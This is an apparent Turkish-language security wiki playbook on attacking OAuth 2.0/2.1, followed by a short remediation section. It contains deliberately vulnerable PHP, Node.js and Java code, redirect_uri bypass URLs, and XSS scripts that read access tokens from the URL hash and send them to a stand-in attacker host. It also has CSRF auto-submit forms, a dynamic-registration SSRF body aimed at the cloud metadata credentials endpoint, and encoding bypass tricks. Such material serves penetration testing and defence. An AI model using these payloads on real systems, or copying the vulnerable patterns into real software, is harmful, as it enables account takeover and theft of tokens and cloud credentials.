OAuth 2.0 & 2.1 Özellikleri ve Zafiyet İstismar Yöntemleri
> Yazar: Emre Ermenek
Modern web mimarisinde kimlik doğrulama (Authentication) ve yetkilendirme (Authorization) süreçlerinin belkemiğini oluşturan OAuth 2.0 (RFC 6749) ve onun sıkılaştırılmış versiyonu olan OAuth 2.1, Red Team operasyonlarında en kritik saldırı yüzeylerinden biridir. Merkezi Kimlik Yönetimi (SSO - Single Sign-On) ve Federation altyapılarında (Okta, Auth0, Azure AD) meydana gelen bir OAuth zafiyeti, genellikle doğrudan kritik sistemlere "Account Takeover (ATO)" veya "Remote Code Execution (RCE)" ile sonuçlanabilecek ayrıcalık yükseltme zincirlerinin ilk halkasıdır. Bu doküman, OAuth protokolünün düşük seviyeli işleyişinden başlayarak, en gelişmiş sömürü vektörlerine ve atlatma (bypass) tekniklerine kadar derinlemesine bir Playbook sunmaktadır.
How It Works (Teknik Analiz)
OAuth, bir "Resource Owner"ın (Kullanıcı), "Resource Server" (API/Backend) üzerindeki verilerine erişmesi için bir "Client"a (Uygulama), şifresini vermeden sınırlı yetki (Scope) tanımasını sağlayan bir delegasyon protokolüdür. Protokolün kalbi, "Authorization Server" (Kimlik Sağlayıcı) ile İstemci arasındaki "Grant" (Yetki) takasıdır.
Teknik düzeyde OAuth akışları, HTTP yönlendirmeleri (301/302 Redirect), URI Query parametreleri ve Fragment (#) bileşenleri üzerinden gerçekleşir. Modern mimarilerde Access Token'lar genellikle JWT (JSON Web Token) veya Opaque Token formatındadır.
Protokolün güvenlik modeli şu kritik bileşenlere dayanır:
redirect_uri: Authorization Code veya Access Token'ın gönderileceği hedef URL. Tam eşleşme (Exact Match) gerektirir.state: CSRF saldırılarını engellemek ve oturumun (session) tutarlılığını sağlamak için kullanılan rastgele entropi değeri.response_type: İstemcinin Authorization Server'dan ne beklediğini belirler (code,token,id_token).scope: Verilecek yetkinin sınırlarını çizer.
Vulnerable Code Patterns
Geliştiricilerin protokol standartlarını (RFC) yanlış yorumlaması veya esneklik adına güvenlik kontrollerini gevşetmesi kritik zafiyetlere yol açar.
// ZAFİYETLİ KOD: PHP - Yetersiz Redirect URI Doğrulaması (Open Redirect & Code Hijacking)
$redirect_uri = $_GET['redirect_uri'];
$allowed_domain = "bistro.thm";
// HATA: Sadece string içinde arama yapıyor (strpos).
// Saldırgan "http://hacker.com/?q=bistro.thm" kullanarak atlatabilir.
if (strpos($redirect_uri, $allowed_domain) !== false) {
$auth_code = generate_auth_code($user_id);
header("Location: " . $redirect_uri . "?code=" . $auth_code);
exit();
} else {
die("Invalid Redirect URI");
}
// ZAFİYETLİ KOD: Node.js (Express) - State Parametresi Kontrolünün Eksikliği (CSRF / Account Takeover)
app.get('/oauth/callback', async (req, res) => {
const code = req.query.code;
const state = req.query.state;
// HATA: Gelen state parametresi uygulamanın session'ındaki state ile karşılaştırılmıyor.
// Saldırgan kendi authorization code'unu kurbana tıklatarak hesapları bağlayabilir.
try {
const tokenResponse = await axios.post('https://oauth-provider.com/token', {
client_id: CLIENT_ID,
client_secret: CLIENT_SECRET,
code: code,
grant_type: 'authorization_code'
});
loginUser(tokenResponse.data.access_token);
res.redirect('/dashboard');
} catch (err) {
res.status(500).send("OAuth Error");
}
});
// ZAFİYETLİ KOD: Java (Spring Boot) - Implicit Flow'da Token'ın Loglanması veya Sızdırılması
@GetMapping("/implicit-callback")
public String handleImplicitFlow(@RequestParam Map<String, String> params, Model model) {
// HATA: Implicit flow'da token URL Fragment'ta (#) gelir, ancak bazı yanlış yapılandırmalarda
// query parametresi olarak sızabilir veya loglara yazılabilir.
logger.info("Received OAuth callback with parameters: " + params);
return "dashboard";
}
Detection & Enumeration (Keşif ve Analiz)
OAuth endpoint'lerinin keşfi, uygulamanın kullandığı kimlik sağlayıcıyı ve potansiyel yapılandırma hatalarını tespit etmek için kritiktir.
- Discovery Endpoint Analizi: OIDC (OpenID Connect) ve OAuth sağlayıcıları genellikle yapılandırmalarını dışarıya açar.
GET /.well-known/openid-configurationGET /.well-known/oauth-authorization-server
- Parametre Fuzzing ve Error-Based Keşif:
redirect_uriparametresine tanımsız bir domain girilerek sunucunun verdiği tepki (HTTP 400, detaylı hata mesajı veya 302 yönlendirmesi) analiz edilir. "Domain mismatch" hatası dönüyorsa Whitelist mekanizması aktiftir, "Invalid URI" hatası Regex kullanıldığını gösterebilir.response_typeparametresi değiştirilerek (codeyerinetokenveyaid_token) sunucunun diğer akışları (Implicit) destekleyip desteklemediği test edilir.
- Scope Enumeration:
scope=admin,scope=superuser,scope=profile%20email%20billinggibi değerler denenerek yetki sınırları zorlanır.
Attack Vectors & Exploitation (İstismar Vektörleri)
Authorization Code Hijacking via Open Redirect
OAuth akışında redirect_uri parametresi manipüle edilebiliyorsa, sunucu üretilen geçerli Authorization Code'u saldırganın kontrolündeki bir sunucuya gönderir. Saldırgan bu kodu alır ve uygulamanın /callback endpoint'ine göndererek kurbanın adına Access Token üretilmesini sağlar.
Sömürü Adımları:
- Saldırgan,
redirect_uriparametresini kendi sunucusu olarak değiştirir. - Linki kurbana gönderir (Phishing / XSS / CSRF).
- Kurban giriş yapar, Authorization Server kodu saldırganın sunucusuna yönlendirir.
- Saldırgan, aldığı kodu hedef uygulamanın token endpoint'inde takas eder.
Cross-Site Request Forgery (CSRF) & State Manipulation
Uygulama state parametresini doğrulamıyorsa, saldırgan kendi oturumuna ait bir Authorization Code oluşturur ve bunu kurbana işletir.
Sömürü Adımları:
- Saldırgan kendi hesabıyla OAuth akışını başlatır.
- Authorization Server'dan dönen, ancak henüz tüketilmemiş (kullanılmamış) callback URL'ini kopyalar (örn:
https://hedef.com/callback?code=SALDIRGAN_KODU). - Bu URL'i kurbana bir imaj etiketi (
<img src="...">) veya iframe içinde açtırır. - Kurbanın tarayıcısı bu isteği yaptığında, hedef uygulama saldırganın hesabını kurbanın oturumuyla ilişkilendirir (Account Linking / ATO).
Implicit Flow Token Leakage (DOM/XSS/Referer)
Implicit akışta Access Token, URL Fragment (#access_token=...) içinde tarayıcıya döner. Fragment'lar sunucuya otomatik gönderilmez, ancak DOM içinde işlenir.
Sömürü Adımları:
- Hedef uygulamada bir DOM-Based veya Reflected XSS zafiyeti bulunur.
- XSS payload'ı
window.location.hashdeğerini okuyup saldırganın sunucusuna sızdıracak şekilde tasarlanır. - Eğer sayfa dışarıya bir link (href) veriyorsa ve
Referrer-Policysıkı değilse, tokenRefererbaşlığı üzerinden üçüncü parti analitik veya reklam sunucularına sızabilir.
Scope Escalation & Parameter Pollution
İstemcinin (Client) yetkileri dışında işlemler yapabilmesi durumudur.
Eğer Client scope=read talep ediyor ancak Authorization Server tarafında yetki sınırlandırması zayıfsa, saldırgan araya girerek isteği scope=read+write+admin olarak değiştirir. Kurban fark etmeden onaylarsa, Client (ve onu kontrol eden saldırgan) admin yetkilerine sahip bir token elde eder.
Pre-Account Takeover (Pre-ATO)
Uygulama, OAuth ile giriş yapan kullanıcıları sadece E-posta adresine göre (parola sormadan) eşleştiriyorsa ortaya çıkar.
- Saldırgan, kurbanın e-posta adresiyle hedef sistemde standart (parolalı) bir hesap açar.
- Kurban, daha sonra "Google ile Giriş Yap" veya "Facebook ile Giriş Yap" seçeneğini kullandığında, sistem mevcut hesapla OAuth kimliğini birleştirir.
- Saldırgan, önceden belirlediği parolayla sisteme girerek kurbanın OAuth ile yetkilendirdiği oturumuna erişir.
Dynamic Client Registration (DCR) SSRF & Injection
RFC 7591'e göre bazı OAuth sağlayıcıları, istemcilerin kendilerini dinamik olarak kaydetmesine izin verir.
POST /register endpoint'ine gönderilen logo_uri, jwks_uri veya client_uri parametreleri zafiyetli sunucularda SSRF (Server-Side Request Forgery) yaratabilir.
Payloads & Advanced Commands
Redirect URI Bypass Payloads
Sunucu tarafındaki Whitelist/Regex kontrollerini atlatmak için kullanılan gelişmiş URI manipülasyonları.
# URL Parsing Farklılıklarını Kullanma
https://auth.server.com/auth?client_id=123&redirect_uri=https://hedef.com@saldırgan.com
https://auth.server.com/auth?client_id=123&redirect_uri=https://hedef.com%20@saldırgan.com
https://auth.server.com/auth?client_id=123&redirect_uri=https://hedef.com%09@saldırgan.com
# Dizin / Path Traversal Manipülasyonları
https://auth.server.com/auth?client_id=123&redirect_uri=https://hedef.com.saldırgan.com
https://auth.server.com/auth?client_id=123&redirect_uri=https://saldırgan.com/hedef.com
https://auth.server.com/auth?client_id=123&redirect_uri=https://hedef.com/%2e%2e/%2e%2e/saldırgan.com
# Fragment ve Query Bypass
https://auth.server.com/auth?client_id=123&redirect_uri=https://saldırgan.com?hedef.com
https://auth.server.com/auth?client_id=123&redirect_uri=https://saldırgan.com#hedef.com
# IDNA Homograph (Punycode) Saldırıları
# hedef.com (Kiril e ile) -> xn--hdf-rla.com
https://auth.server.com/auth?client_id=123&redirect_uri=https://xn--hdf-rla.com
XSS Payloads for Token Exfiltration (Implicit Flow)
DOM tabanlı JavaScript kodları, hash değerindeki token'ı okur ve saldırgana POST/GET ile iletir.
// Temel Image Base Sızdırma
<script>
var token = window.location.hash.match(/access_token=([^&]+)/)[1];
new Image().src = "http://saldırgan-sunucu.com/log?t=" + encodeURIComponent(token);
</script>
// Fetch API ile Sessiz Exfiltration
<script>
let params = new URLSearchParams(window.location.hash.substring(1));
let token = params.get("access_token");
fetch("https://saldırgan.com/exfiltrate", {
method: "POST",
mode: "no-cors",
body: token
});
</script>
// Event Listener Manipülasyonu (Zamanlanmış Saldırı)
<script>
window.addEventListener('hashchange', function() {
let t = new URLSearchParams(window.location.hash.slice(1)).get('access_token');
if(t) navigator.sendBeacon('https://saldırgan.com/steal', t);
});
</script>
CSRF / State Overwrite Payloads
Uygulamada State parametresinin atlanabildiği veya manipüle edilebildiği durumlar için.
<form action="https://hedef-uygulama.com/oauth/callback" method="GET" id="csrfForm">
<input type="hidden" name="code" value="SALDIRGANIN_GECERLI_KODU">
<input type="hidden" name="state" value="">
</form>
<script>document.getElementById('csrfForm').submit();</script>
<iframe src="https://hedef-uygulama.com/oauth/callback?code=SALDIRGANIN_KODU" style="display:none;"></iframe>
Dynamic Client Registration SSRF Payloads
OIDC Discovery sonrasında açık bir DCR endpoint'i bulunursa.
// POST /register
// Out-of-Band (OOB) etkileşim ve SSRF tespiti için
{
"redirect_uris": [
"https://client.example.org/callback",
"https://client.example.org/callback2"
],
"client_name": "My Evil Client",
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"jwks_uri": "http://burpcollaborator.net/jwks.json"
}
Bypass & Obfuscation (Atlatma Teknikleri)
Double Encoding (Çifte Kodlama): WAF veya IDS sistemleri tekil URL encoding'i çözebilir ancak kodu uygulamaya geçirebilir.
- Normal:
redirect_uri=https://saldırgan.com - Double Encoded:
redirect_uri=https%253A%252F%252Fsald%25C4%25B1rgan.com
- Normal:
Parameter Pollution (HTTP Parametre Kirliliği): Aynı parametreden iki tane gönderilerek arka uçtaki ayrıştırıcının (parser) şaşırtılması işlemi.
- Node.js (Express) genellikle son parametreyi alır.
- ASP.NET parametreleri virgülle birleştirir.
?redirect_uri=https://guvenli.com&redirect_uri=https://saldırgan.com
Wildcard & Regex Zafiyetleri: Eğer sistem
*.bistro.thmgibi bir wildcard yapısına izin veriyorsa, DNS tarafında saldırgana ait olansaldırgan.bistro.thmyönlendirmesi veyabistro.thm.saldırgan.comkullanılarak regex kuralları bypass edilir.Line-Feed / Carriage Return Injection: URI parser'ları satır sonu karakterlerinde hata verebilir.
redirect_uri=https://hedef.com%0a.saldırgan.com
Remediation & Prevention (Önleme ve Savunma)
OAuth mimarisinin güvenliği "Defense in Depth" (Derinlemesine Savunma) prensibine dayanmalıdır.
- PKCE (Proof Key for Code Exchange) Kullanımı (ZORUNLU):
OAuth 2.1 ile birlikte, public client'lar (SPA, Mobil) için Implicit Flow tamamen kaldırılmış, yerine PKCE ile Authorization Code Flow zorunlu hale getirilmiştir. PKCE, code interception saldırılarını (kod çalınsa bile)
code_verifiervecode_challengemekanizmasıyla etkisiz hale getirir. - Strict Redirect URI Matching:
redirect_uriparametresi wildcard, regex veya dizgi içi arama (strpos,includes) ile DEĞİL, tam eşleşme (Exact String Match) ile doğrulanmalıdır. - State Parametresinin Kriptografik Olarak Güvenli Üretimi:
statedeğeri statik olmamalı, yüksek entropili (örneğin 32 byte rastgele string) olmalı ve kullanıcının session'ı ile (örneğin bir JWT veya HttpOnly çerez ile) sıkıca bağlanmalıdır. - Token Ömrü ve Dönüşümü (Token Rotation): Access Token süreleri kısa tutulmalı (15-60 dakika). Refresh Token'lar ise "Rotation" mekanizması ile tek kullanımlık hale getirilmeli; tekrar kullanımı tespit edildiğinde o token zincirindeki tüm token'lar iptal edilmelidir.
- Secure Storage:
Token'lar tarayıcıda
localStorageveyasessionStorageiçinde ASLA tutulmamalıdır (XSS riski). Frontend ile Backend arasındaki oturumHttpOnly,SecureveSameSite=Strictflaglerine sahip çerezlerle sağlanmalıdır.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Suite (OAuth-recon) | Pasif tarama ile OAuth uç noktalarını ve parametre zafiyetlerini tespit eder. | Eklenti üzerinden manuel tetikleme |
| EsPReSSO | Burp Suite uzantısıdır, SSO ve OAuth/SAML akışlarını analiz eder, token manipülasyonu yapar. | Eklenti (BApp Store) |
| curl | Token Endpoint'lerine grant_type fuzzing veya Client Credentials denemeleri için kullanılır. | curl -X POST -d "grant_type=client_credentials&client_id=123&client_secret=456" https://api.hedef.com/token |
| ffuf | OAuth parametrelerini, desteklenen scope ve response_type değerlerini fuzzlamak için kullanılır. | ffuf -w payloads.txt -u "https://auth.hedef.com/?client_id=123&redirect_uri=FUZZ" |
| jwt_tool | Dönen JWT tabanlı Access Token'ların imza yapısını bozmak, algoritmayı değiştirmek (None/RS256->HS256) için kullanılır. | python3 jwt_tool.py <TOKEN> -X a |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv